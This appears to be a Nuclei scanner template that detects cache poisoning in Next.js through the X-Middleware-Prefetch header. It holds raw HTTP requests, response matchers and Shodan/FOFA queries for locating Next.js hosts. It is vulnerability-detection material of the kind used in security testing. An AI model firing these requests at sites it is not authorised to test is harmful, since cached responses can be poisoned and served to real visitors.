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51 lines
1.6 KiB
YAML
51 lines
1.6 KiB
YAML
id: nextjs-middleware-cache
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info:
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name: Next.js - Cache Poisoning
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author: DhiyaneshDk
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severity: high
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description: |
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Next.js is vulnerable to Cache Poisoning using X-Middleware-Prefetch.
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reference:
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- https://zhero-web-sec.github.io/research-and-things/nextjs-and-cache-poisoning-a-quest-for-the-black-hole
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metadata:
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verified: true
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vendor: vercel
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product: next.js
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framework: node.js
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shodan-query:
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- http.html:"/_next/static"
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- cpe:"cpe:2.3:a:zeit:next.js"
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fofa-query: body="/_next/static"
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tags: nextjs,cache
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variables:
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rand: "{{rand_text_numeric(5)}}"
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http:
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- raw:
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- |
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GET /?cb={{rand}} HTTP/1.1
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Host: {{Hostname}}
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X-Middleware-Prefetch: 1
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Priority: u=1
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- |
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@timeout: 10s
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GET /?cb={{rand}} HTTP/1.1
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Host: {{Hostname}}
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X-Middleware-Prefetch: 1
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Priority: u=1
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- |
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@timeout: 10s
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GET /?cb={{rand}} HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- "status_code_2 == 200 && contains(all_headers_2, 'X-Middleware-Skip: 1') && !contains(cache_control_2, 'no-cache') && !contains(pragma_2, 'no-cache')"
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- "status_code_3 == 200 && contains(all_headers_3, 'X-Middleware-Skip: 1') && !contains(cache_control_3, 'no-cache') && !contains(pragma_3, 'no-cache')"
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condition: and
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# digest: 4b0a004830460221008f5bf3e8be8e67a68c80785161dccd474c56dbeba4e37ce63db451c3e75c5f10022100aaa3edd2d1133ae1fce585e2d1e73a6ccaedd166b721e5e0db2c20b80ac110ad:922c64590222798bb761d5b6d8e72950 |